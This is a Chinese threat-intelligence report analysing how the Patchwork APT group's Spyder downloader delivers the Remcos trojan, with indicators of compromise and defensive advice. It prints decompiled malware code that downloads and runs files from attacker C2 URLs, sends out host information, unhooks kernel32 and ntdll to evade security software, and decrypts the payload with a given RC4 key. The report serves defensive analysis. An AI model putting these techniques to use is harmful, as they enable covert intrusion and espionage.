

摩诃草组织（APT-Q-36）借Spyder下载器投递Remcos木马

原创 威胁情报中心 奇安信威胁情报中心 2023-11-28 10:25 发表于四川

团伙背景

摩诃草，又名Patchwork、白象、Hangover、Dropping Elephant等，奇安信内部跟踪编号APT-Q-36。该组织被普遍认为具有南亚地区背景，其最早攻击活动可追溯到2009年1月，已持续活跃10余年。该组织主要针对亚洲地区的国家进行网络间谍活动，攻击目标包括政府、军事、电力、工业、科研教育、外交和经济等领域的组织机构。

事件概述

Spyder恶意软件与摩诃草组织存在关联^[1]，主要功能是下载并运行C2服务器下发的可执行文件。奇安信威胁情报中心观察到自7月以来，Spyder至少经过了两轮更新，并发现攻击者借助Spyder向目标主机植入Remcos木马。根据捕获的恶意样本，相关攻击活动有如下特点：

- 1. Spyder下载器中一些关键字符串不再以明文形式出现，而是经过异或加密处理，以避免静态检测，同时恶意软件与C2服务器的通信数据格式也做了调整；
- 2. 植入的Remcos木马采用的都是当时能获取到的最新版；
- 3. 通过Spyder样本的名称和配置信息，可以推测受害者包括巴基斯坦、孟加拉国、阿富汗等国的目标。

详细分析

捕获到的Spyder和Remcos样本基本信息如下：

| MD5 | 创建时间 | 数字签名时间戳 | 类型 |
|----------------------------------|-------------------------|-------------------------|-------------------|
| 05e59dcc5f4b657696a92fd2b3eac90d | 2023-07-09 17:05:45 UTC | 2023-07-11 07:14:37 UTC | Spyder v1 |
| 2491942d8cd5807cd4615a07ad26a54a | 2023-08-11 13:57:16 UTC | 2023-08-14 09:59:22 UTC | Spyder v2 |
| 6699190f7f6574029432b2678e1f40ac | 2023-09-09 18:49:44 UTC | 2023-09-20 07:59:23 UTC | Spyder v3 |
| bc743f1b24e8e585e889d77099ad0ac2 | 2023-10-09 08:26:21 UTC | 2023-10-11 06:42:28 UTC | Spyder v3 |
| 656b523031d9ffda7b8b1740542b653c | 2023-10-09 08:26:21 UTC | 2023-10-11 07:08:13 UTC | Spyder v3 |
| 57b805f4c496c5d25acbe45bfaf7ee11 | 2023-06-24 16:04:14 UTC | 2023-07-04 07:12:16 UTC | Remcos v4.8.0 Pro |
| 68f4f27219840b4ba86462241f740bbd | 2023-06-15 17:58:26 UTC | 2023-08-05 07:49:12 UTC | Remcos v4.9.0 Pro |
| 5eae3dee275dbca878d145817707597f | 2023-06-15 17:58:26 UTC | 2023-08-31 10:27:56 UTC | Remcos v4.9.1 Pro |

以上样本使用的数字签名有3个：

| 签名者名称 | 序列号 |
|------------------------|---|
| GREATIV LIMITED | 3B D9 2C E9 98 70 95 F7 46 23 D7 C3 7E 8D 34 4E |
| SYNTHETIC LABS LIMITED | 19 66 BC 76 BD A1 A7 08 33 47 92 DA 9A 33 6F 69 |
| RUNSWITHSCISSORS LTD | 42 4F 08 5F 42 16 FD 91 7A 4B 0B E9 69 82 A4 D9 |

常规高级

数字签名信息
此数字签名正常。

签名者信息(S)

名称:GREATIV LIMITED

电子邮件:info@stechconsult.co.uk

签名时间:2023年7月11日 15:14:37

查看证书(V)

数字签名信息
此数字签名正常。

签名者信息(S)

名称:SYNTHETIC LABS LIMITED

电子邮件:不可用

签名时间:2023年8月14日 17:59:22

查看证书(V)

数字签名信息
此数字签名正常。

签名者信息(S)

名称:RUNSWITHSCISSORS LTD

电子邮件:不可用

签名时间:2023年9月20日 15:59:23

查看证书(V)

Spyder的更新

1. version2

与版本1相比，版本2将一些明文字符串（比如API名称和收集主机信息的格式化字符串）进行了异或加密。

(1) API名称

```

v134[0] = v4;
v134[1] = retaddr;
v5 = alloca(20772);
SizeofResource = (DWORD (__stdcall *)(HMODULE, HRSRC))GetModuleHandleW(L"kernel32.dll");
FindResourceW = (HRSRC (__stdcall *)(HMODULE, LPCWSTR, LPCWSTR))GetProcAddress(
    (HMODULE)SizeofResource,
    "FindResourceW");
LoadResource = (HGLOBAL (__stdcall *)(HMODULE, HRSRC))GetProcAddress((HMODULE)SizeofResource, "LoadResource");
SizeofResource = (DWORD (__stdcall *)(HMODULE, HRSRC))GetProcAddress((HMODULE)SizeofResource, "SizeofResource");
v6 = (HRSRC)((int (__cdecl *)(_DWORD, const wchar_t *, const wchar_t *))FindResourceW)(0, L"TRUETYPE", L"FONT");
v7 = v6;
if (v6)
{
    v9 = LoadResource(0, v6);
    Size = SizeofResource(0, v7);
    v115[0] = GlobalAlloc(0x40u, Size + 1);
}

```

Spyder v1
MD5: 05e59dcc5f4b657696a92fd2b3eac90d

```

286 v31 = (int *)NtCurrentTeb()->ThreadLocalStoragePointer;
287 v178 = 0x6C9DAD749629B894i64;
288 v179 = 0x8126BEB4;
289 v32 = *v31;
290 v180 = 0xAE78;
291 v33 = *(_DWORD *) (v32 + 556);
292 if ( (v33 & 1) == 0 )
{
    v38 = (const CHAR *)v147;
    322 *(_BYTE *) (v147 + v40) ^= 0x9CFB1BF353D1C7ui64 >> (8 * (v40 & 7)); // SizeofResource
    323 v41 = __PAIR64__(v39, v40) + 1;
    324 v39 = (__PAIR64__(v39, v40) + 1) >> 32;
    325 v40 = v41;
    326 }
    327 while ( __PAIR64__(v39, v41) < 0xF );
    328 *(_BYTE *) (v147 + 15) = 0;
    329 }
    330 v148 = GetProcAddress(v156, v38);
    331 v42 = ((int (__cdecl *)(_DWORD, const wchar_t *, const wchar_t *, int, int))v140)(
    332     0,
    333     L"TRUETYPE",
    334     L"FONT",

```

data

XOR key

Spyder v2
MD5: 2491942d8cd5807cd4615a07ad26a54a

(2) 收集主机信息的格式化字符串

```

if ( dword_452918 )
    wsprintfA(
        v28,
        "hwid=%s&username=%s&compname=%s&osname=%s&arch=1&av=%s&agent=%i&profile=%s&mail=%s",
        g_encode_machine_guid,
        dword_456D30,
        dword_456D34,
        dword_456D3C,
        dword_456B28,
        *(_DWORD *)g_config_data_ptr,
        v131,
        v132);
else
    wsprintfA(
        v28,
        "hwid=%s&username=%s&compname=%s&osname=%s&arch=0&av=%s&agent=%i&profile=%s&mail=%s",
        g_encode_machine_guid,
        dword_456D30,
        dword_456D34,
        dword_456D3C,
        dword_456B28,
        *(_DWORD *)g_config_data_ptr,
        v131,
        v132);

```

Spyder v1
MD5: 05e59dcc5f4b657696a92fd2b3eac90d

```
v11 = *(_DWORD *)(v10 + 548);
if ( (v11 & 1) == 0 )
{
    *(_DWORD *)(v10 + 548) = v11 | 1;
    v28 = 0;
    *(_BYTE *)(v10 + 336) = 1;
    *(_OWORD *)(v10 + 240) = xmmword_44FB70;
    *(_OWORD *)(v10 + 256) = xmmword_44FBC0;
    *(_OWORD *)(v10 + 272) = xmmword_44FB80;
    *(_OWORD *)(v10 + 288) = xmmword_44FB60;
    *(_OWORD *)(v10 + 304) = xmmword_44FBD0;
    *(_OWORD *)(v10 + 320) = xmmword_44FBA0;
    __tlregdtor(sub_442DE0);
}
v12 = v10 + 240;
if ( *(_BYTE *)(v10 + 336) )
{
    v13 = 0;
    v21 = 0;
    do
    {
        *(_BYTE *)(v13 + v12) ^= 0xCF2529AF23519919ui64 >> (8 * (v13 & 7));
        v14 = (__PAIR64__(v21, v13++) + 1) >> 32;
        v21 = v14;
    } while ( __PAIR64__(v14, v13) < 0x60 );
}
LABEL_13:
*(_BYTE *)(v12 + 96) = 0;
goto LABEL_14;
```

data

XOR key

Spyder v2
MD5: 2491942d8cd5807cd4615a07ad26a54a

Spyder在回传收集的主机信息前，会与C2服务器进行第一次交互，如果响应数据为“1”，版本1进入休眠死循环，而版本2改为退出进程。

```
wsprintfA(v18, "hwnd=%s&mail=%s", g_encode_machine_guid, g_encode_mail);
memset(v125, 0, sizeof(v125));
v132 = 4096;
v131 = (const WCHAR *)v125;
v19 = lstrlenA(v18);
MwHttpRequest(v18, v19, (int)v131, v132);
GlobalFree(v18);
if ( !strcmpA(v125, "1") )
{
    while ( 1 )
        Sleep(2000u);
}

wsprintfA(v4, v7, g_encode_machine_guid, g_encode_mail);
memset(v19, 0, 0x1000u);
v10 = lstrlenA(v4);
MwHttpRequest(v4, v10, (int)v19, 0x1000u);
GlobalFree(v4);
v11 = *(_DWORD *)(v5 + 700);
if ( (v11 & 1) == 0 )
{
    *(_DWORD *)(v5 + 700) = v11 | 1;
    v24 = 1;
    *(_BYTE *)(v5 + 466) = 1;
    *(_WORD *)(v5 + 464) = 0xE706;
    __tlregdtor(sub_442D80);
}
v12 = v5 + 464;
if ( *(_BYTE *)(v5 + 466) )
{
    v13 = 0;
    v17 = 0;
    do
    {
        *(_BYTE *)(v13 + v12) ^= 0x971941D90D7FE737ui64 >> (8 * (v13 & 7)); // "1"
        v14 = (__PAIR64__(v17, v13++) + 1) >> 32;
        v17 = v14;
    } while ( __PAIR64__(v14, v13) < 2 );
    *(_BYTE *)(v12 + 2) = 0;
}
if ( !strcmpA(v19, (LPCSTR)v12) ) // 响应为"1"，则退出程序
    ExitProcess(0);
return sub_41C3F9((unsigned int)v25 ^ v20);
```

Spyder v1

Spyder v2

此外，版本2在POST请求的数据末尾添加“&ver=2”。下面是Spyder样本根据C2指令部署后续可执行文件时，版本1和版本2构造请求数据所用的格式化字符串。

| | Spyder v1 | Spyder v2 |
|--------|------------------|------------------------|
| 获取C2指令 | hwnd=%s&deploy=1 | hwnd=%s&deploy=1&ver=2 |

| | | |
|----------|---------------------------------|--------------------------------|
| 获取下载文件信息 | hwid=%s&deploy=%d &bakmout=1 | hwid=%s&deploy=2&type=%d&ver=2 |
| 部署完成 | hwid=%s&deploy=0 | hwid=%s&deploy=3&type=%d&ver=2 |

2. version3

版本3最大的变动是以JSON字符串的形式表示与C2服务器交互的数据，并且在其中添加version为3的信息。

[illegible]

JSON字符串再经过base64编码，拼接在字符串"data="后，作为POST请求的数据。

[illegible]

Remcos木马

在请求C2服务器的指令循环中，Spyder除了根据下发的指令部署后续可执行文件，还会在循环一开始从配置数据中的URL拉取一个可执行文件。

```
while ( 1 )
{
    sub_403100(); // download file
    v32 = v29(g_encode_machine_guid);
    v33 = (HRSRC (__stdcall *))(HMODULE, LPCWSTR, LPCWSTR))GlobalAlloc(0x40u, v32 + 1024);
    v34 = *((_DWORD *)v31 + 67);

    1 int sub_403100()
    2 {
    3     const CHAR *v0; // esi
    4     int v1; // eax
    5     int v2; // esi
    6     int v3; // eax
    7     int v4; // eax
    8     WCHAR *v5; // esi
    9     WCHAR *v7; // [esp+8h] [ebp-2010h]
    10    const CHAR *lpString; // [esp+Ch] [ebp-200Ch]
    11    PWSTR ppszPath; // [esp+10h] [ebp-2008h] BYREF
    12    WCHAR String1[4096]; // [esp+14h] [ebp-2004h] BYREF
    13
    14    SHGetKnownFolderPath(&stru_4422C0, 0, 0, &ppszPath);
    15    memset(String1, 0, sizeof(String1));
    16    lstrcpyW(String1, ppszPath);
    17    lstrcatW(String1, L"\\gameinput.exe");
    18    v0 = (const CHAR *) (g_config_data_ptr + 0x3EC);
    19    lpString = (const CHAR *) (g_config_data_ptr + 0x3EC);
    20    v1 = lstrlenA((LPCSTR)(g_config_data_ptr + 0x3EC));
    21    v2 = MultiByteToWideChar(0xFDE9u, 0, v0, v1, 0, 0);
    22    v7 = (WCHAR *)GlobalAlloc(0x40u, 2 * v2 + 2);
    23    v3 = lstrlenA(lpString);
    24    MultiByteToWideChar(0xFDE9u, 0, lpString, v3, v7, v2);
    25    if ( !URLDownloadToFileW(0, v7, String1, 0, 0) )
    26    {
    27        v4 = lstrlenW(String1);
    28        v5 = (WCHAR *)GlobalAlloc(0x40u, 2 * v4 + 64);
    29        wprintfW(v5, L"/k \"%s\"", String1);
    30        CoInitializeEx(0, 6u);
    31        ShellExecuteW(0, L"open", L"cmd.exe", v5, 0, 0);
    32        CoUninitialize();
    33    }
    34    GlobalFree(v7);
}
```

Spyder v1

```
while ( 1 )
{
    if ( !g_download_flag )
    {
        sub_403990(); // download file
        v93 = lstrlenA(g_encode_machine_guid);
        v157 = (CHAR *)GlobalAlloc(0x40u, v93 + 1024);

        1 int sub_403990()
        2 {
        3     const CHAR *v0; // esi
        4     int v1; // eax
        5     int v2; // esi
        6     int v3; // eax
        7     int v4; // eax
        8     WCHAR *v5; // esi
        9     WCHAR *v7; // [esp+8h] [ebp-2010h]
        10    const CHAR *lpString; // [esp+Ch] [ebp-200Ch]
        11    PWSTR ppszPath; // [esp+10h] [ebp-2008h] BYREF
        12    WCHAR String1[4096]; // [esp+14h] [ebp-2004h] BYREF
        13
        14    SHGetKnownFolderPath(&FOLDERID_Startup, 0, 0, &ppszPath);
        15    memset(String1, 0, sizeof(String1));
        16    lstrcpyW(String1, ppszPath);
        17    lstrcatW(String1, L"\\smss.exe");
        18    v0 = (const CHAR *) (g_config_daata_ptr + 0x3EC); // http://mfaturk.com/hing9/dmw.php
        19    lpString = (const CHAR *) (g_config_daata_ptr + 0x3EC);
        20    v1 = lstrlenA((LPCSTR)(g_config_daata_ptr + 0x3EC));
        21    v2 = MultiByteToWideChar(0xFDE9u, 0, v0, v1, 0, 0);
        22    v7 = (WCHAR *)GlobalAlloc(0x40u, 2 * v2 + 2);
        23    v3 = lstrlenA(lpString);
        24    MultiByteToWideChar(0xFDE9u, 0, lpString, v3, v7, v2);
        25    if ( !URLDownloadToFileW(0, v7, String1, 0, 0) )
        26    {
        27        v4 = lstrlenW(String1);
        28        v5 = (WCHAR *)GlobalAlloc(0x40u, 2 * v4 + 64);
        29        wprintfW(v5, L"/k \"%s\"", String1);
        30        CoInitializeEx(0, 6u);
        31        ShellExecuteW(0, L"open", L"cmd.exe", v5, 0, 0);
        32        CoUninitialize();
        33        g_download_flag = 1;
        34    }
        35    GlobalFree(v7);
        36    return 0;
        37}
}
```

Spyder v2 & v3

我们观察到有两个Spyder样本通过这种方式下载了Remcos木马。

| | | |
|------------|----------------------------------|----------------------------------|
| Spyder MD5 | 05e59dcc5f4b657696a92fd2b3eac90d | 2491942d8cd5807cd4615a07ad26a54a |
|------------|----------------------------------|----------------------------------|

| | | |
|------------|---------------------------------------|----------------------------------|
| 下载URL | hxxp://mfaturk.com/backup/in c.php | hxxp://mfaturk.com/hing9/dmw.php |
| Remcos MD5 | 68f4f27219840b4ba86462241f 740bbd | 5eae3dee275dbca878d145817707597f |

两个Remcos木马加载的方式相同。首先重新在内存中映射kernel32.dll和ntdll.dll的.text段，解除防护软件对这两个模块中的函数的监控。

```
v1 = GetModuleHandleW(lpModuleName);
memset(Buffer, 0, sizeof(Buffer));
GetSystemDirectoryW(Buffer, 0x1000u);
lstrcatW(Buffer, &String2);
lstrcatW(Buffer, lpModuleName);
hLibModule = v1;
K32GetModuleInformation(hProcess, v1, &modinfo, 0xCu);
v2 = modinfo.lpBaseOfDll;
hObject = CreateFileW(Buffer, 0x80000000, 1u, 0, 3u, 0, 0);
v11 = CreateFileMappingW(hObject, 0, 0x1000002u, 0, 0, 0);
v14 = (char *)MapViewOfFile(v11, 4u, 0, 0, 0);
v7 = v2;
v9 = v2[15];
v8 = *(_WORD *)((char *)v2 + v9 + 6);
if ( v8 )
{
    v3 = (int)v2 + v9 + 24;
    for ( i = 0; i < v8; ++i )
    {
        v5 = v3 + *(unsigned __int16 *)((char *)v7 + v9 + 20);
        if ( lstrcmp((const char *)v5, ".text") )
        {
            flOldProtect = 0;
            VirtualProtect((char *)v7 + *(_DWORD *)(v5 + 12), *(_DWORD *)(v5 + 8), 0x40u, &flOldProtect);
            memmove((char *)v7 + *(_DWORD *)(v5 + 12), &v14[*(DWORD *)(v5 + 12)], *(_DWORD *)(v5 + 8));
            VirtualProtect((char *)v7 + *(_DWORD *)(v5 + 12), *(_DWORD *)(v5 + 8), flOldProtect, &flOldProtect);
            v8 = *(_WORD *)((char *)v7 + v9 + 6);
        }
        v3 += 40;
    }
}
```

向“www[.]wingtiptoy.com”发送HTTP请求以混淆真实通信流量。

```
result = WinHttpOpen(&pszAgentW, 0, 0, 0, 0);
if ( result )
{
    v1 = result;
    v2 = WinHttpConnect(result, L"www.wingtiptoy.com", 0x50u, 0);
    if ( v2 )
    {
        v3 = v2;
        v4 = WinHttpOpenRequest(v2, &pwszVerb, &pwszObjectName, 0, 0, 0, 0);
        if ( v4 )
        {
            v5 = v4;
            WinHttpSendRequest(v4, 0, 0, 0, 0, 0, 0);
            WinHttpCloseHandle(v5);
        }
        WinHttpCloseHandle(v3);
    }
    result = (void *)WinHttpCloseHandle(v1);
}
return result;
}
```

加载资源数据，进行RC4解密，得到Remcos木马的文件数据，然后内存加载执行。使用的解密密钥如下：

iXTYbfqt4v4xaFkXYrgP5gRNWesttg1QKM6TNuP4hGG8T2TCcWSUtkNTgjA9LuFfKbiPjxa
jei8kFXeqgcS2O68bsZ

Remcos木马的C2配置信息如下：

| | | | | | |
|----------|-------------|-------------|-------------|-------------|------------------|
| 00599508 | 7D FD F5 14 | EA 78 00 18 | 6D 6F 72 69 | 6D 6F 63 61 | }yö.êx..morimoca |
| 00599518 | 6E 61 62 2E | 63 6F 6D 3A | 34 34 33 3A | 31 1E 67 72 | nab.com:443:1.gr |
| 00599528 | 61 6E 64 31 | 32 33 30 39 | 39 67 67 63 | 61 72 6E 69 | and123099ggcarni |
| 00599538 | 76 6F 6C 2E | 63 6F 6D 3A | 34 34 33 3A | 31 1E 4F 6D | vol.com:443:1.Om |
| 00599548 | 65 72 69 31 | 32 6F 6E 63 | 6C 6F 75 64 | 64 2E 63 6F | eri12oncloudd.co |
| 00599558 | 6D 3A 34 34 | 33 3A 31 1E | 00 F0 AD BA | 0D F0 AD BA | m:443:1..δ.°.δ.° |
| 00599568 | 0D F0 AD BA | 0D F0 AD BA | AB AB AB AB | AB AB AB AB | .δ.°.δ.°«««««««« |

以0x1E为分隔符，共有3组，不过后面两个域名目前没有对应的解析IP，所以实际上有效的只有morimocanab.com。

| |
|-------------------------------|
| morimocanab.com:443 |
| grand123099ggcarnivol.com:443 |
| Omeri12oncloudd.com:443 |

总结

在短短几个月时间内，Spyder下载器已经历了数次更新，由此可见攻击团伙为避开安全防护软件检测，完成情报窃取任务的决心。从功能上看，Spyder作为通用下载器，可以用来在受害者主机上部署任意可执行文件，此次发现的Spyder被用于投递Remcos木马可能只是涉及该下载器组件的攻击链的冰山一角，奇安信威胁情报中心将持续关注相关APT组织的攻击活动。

防护建议

奇安信威胁情报中心提醒广大用户，谨防钓鱼攻击，切勿打开社交媒体分享的来历不明的链接，不点击执行未知来源的邮件附件，不运行标题夸张的未知文件，不安装非正规途径来源的APP。做到及时备份重要文件，更新安装补丁。

若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台 (<https://sandbox.ti.qianxin.com/sandbox/page>) 进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。

目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台 (TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。

IOC

MD5

(Spyder)
05e59dcc5f4b657696a92fd2b3eac90d
2491942d8cd5807cd4615a07ad26a54a
6699190f7f6574029432b2678e1f40ac
bc743f1b24e8e585e889d77099ad0ac2
656b523031d9ffda7b8b1740542b653c

(Remcos)
57b805f4c496c5d25acbe45bfaf7ee11

68f4f27219840b4ba86462241f740bbd
5eae3dee275dbca878d145817707597f

C&C

mfaturk.com
firebasebackups.com
morimocanab.com:443
grand123099ggcarnivol.com:443
omeri12oncloudd.com:443

URL

hxxp://mfaturk.com/backup/manage.php
hxxp://mfaturk.com/backup/inc.php
hxxp://mfaturk.com/hing9/includes.php
hxxp://mfaturk.com/hing9/dmw.php
hxxp://mfaturk.com/hailo/stick.php
hxxp://mfaturk.com/hailo/dmw.php
hxxp://firebasebackups.com/hailo/load_img.php
hxxp://firebasebackups.com/hailo/pakart.php

I 参考链接

[1].<https://ti.qianxin.com/blog/articles/Suspected-Patchwork-Utilizing-WarHawk-Backdoor-Variant-Spyder-for-Espionage-on-Multiple-Nations-CN/>



点击[阅读原文](#)至**ALPHA 6.0**

即刻助力威胁研判